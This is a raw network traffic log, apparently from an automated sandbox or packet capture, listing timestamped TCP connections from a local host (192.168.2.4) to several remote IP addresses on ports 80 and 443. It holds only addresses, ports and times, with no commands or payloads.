Nov 18, 2024 21:04:14.504703045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.512418985 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.512459040 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.512478113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.512521982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.513529062 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.513612032 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.514273882 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.514293909 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.518177032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.518212080 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.518239021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.518251896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.519208908 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.519244909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.519273996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.519279003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.519282103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.519336939 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.525453091 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.525489092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.525513887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.525537014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.528239012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.528276920 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.528309107 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.528321028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.532119036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.532155037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.532181025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.532203913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.535756111 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.535790920 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.535819054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.535825014 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.535830975 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.535867929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.538594961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.538633108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.538644075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.538686037 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.541420937 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.541465998 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.541512966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.541544914 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.543863058 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.543910027 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.547895908 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.547930956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.547955036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.547982931 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.550117970 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.553472996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.553507090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.553524971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.553541899 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.553554058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.553585052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.554932117 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.554991961 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.555412054 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.555428028 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.560887098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.560937881 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.560967922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.561011076 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.561986923 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.562021971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.562031031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.562067986 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.568058968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.568097115 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.568126917 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.568152905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.592374086 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.592413902 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.592500925 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.592940092 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:14.592955112 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:14.667133093 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.667524099 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.667716026 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.667789936 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.667809010 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.667821884 CET	49820	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.667829037 CET	443	49820	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.670423031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.670485020 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.670826912 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.670849085 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.670902967 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.671020031 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.671030045 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.671226025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.671261072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.671287060 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.671314955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.675642014 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.675693035 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.677426100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.677460909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.677485943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.677519083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.682193995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.682226896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.682240963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.682271004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.686681032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.686714888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.686748028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.686779976 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.690881014 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.690916061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.690954924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.690984964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.693608046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.693643093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.693681955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.693711042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.696872950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.696909904 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.696942091 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.696968079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.696995020 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.700624943 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.700706005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.721050978 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.721121073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.723855972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.723890066 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.723925114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.723933935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.723933935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.723969936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.727086067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.727124929 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.727159023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.727190971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.733711004 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.733747005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.733776093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.733810902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.736299992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.736335993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.736368895 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.736403942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.738732100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.738766909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.738779068 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.738801003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.738812923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.738840103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.742229939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.742264032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.742300987 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.742333889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.746830940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.746906042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.752253056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.752289057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.752324104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.752351999 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.754964113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.754997969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.755050898 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.757435083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.757469893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.757515907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.757535934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.757581949 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.760067940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.760118008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.760124922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.760159969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.763382912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.763417959 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.763451099 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.763483047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.766196966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.766232967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.766261101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.766283035 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.768707991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.768742085 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.768767118 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.768783092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.779459000 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.779927969 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.779946089 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.780396938 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.780402899 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.787544012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.787578106 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.787610054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.787642956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.790807962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.790842056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.790859938 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.790877104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.790904045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.791024923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.793764114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.793797970 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.793817997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.793853045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.797146082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.797180891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.797218084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.797252893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.801114082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.801148891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.801183939 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.801215887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.804188967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.804224968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.804260969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.804290056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.807873964 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.807909012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.807930946 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.807941914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.807949066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.807993889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.811767101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.811820030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.816735029 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.816771030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.816824913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.819566011 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.819616079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.819623947 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.819665909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.822185993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.822220087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.822233915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.822278023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.823990107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.824023962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.824055910 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.824057102 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.824079990 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.824114084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.826293945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.826329947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.826363087 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.826390028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.829699039 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.829734087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.829770088 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.829799891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.833087921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.833122969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.833139896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.833168030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.836524010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.836559057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.836592913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.836626053 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.840132952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.840167046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.840199947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.840200901 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.840229988 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.840250015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.843605995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.843640089 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.843674898 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.843707085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.846393108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.846427917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.846456051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.846473932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.848378897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.848412991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.848428965 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.848447084 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.848469019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.848515034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.856271029 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.856523991 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.856590033 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.856673002 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.856673002 CET	49821	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.856718063 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.856749058 CET	443	49821	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.858758926 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.858819008 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.858948946 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.859010935 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.859174013 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.859174013 CET	49819	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.859217882 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.859246969 CET	443	49819	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.859478951 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.859532118 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.859597921 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.861062050 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.861076117 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.862185955 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.862202883 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.862349987 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.862449884 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.862462997 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.863554955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.863601923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.868383884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.868418932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.868464947 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.868464947 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.870873928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.870908022 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.870934963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.870961905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.873853922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.873888969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.873917103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.873919010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.873939991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.873960018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.885660887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.885795116 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.886061907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.886097908 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.886126041 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.886151075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.888581991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.888618946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.888641119 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.888670921 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.890333891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.890362978 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.890386105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.890444040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.893688917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.893758059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.894484997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.894517899 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.894551992 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.894586086 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.896522045 CET	80	49818	185.215.113.16	192.168.2.4
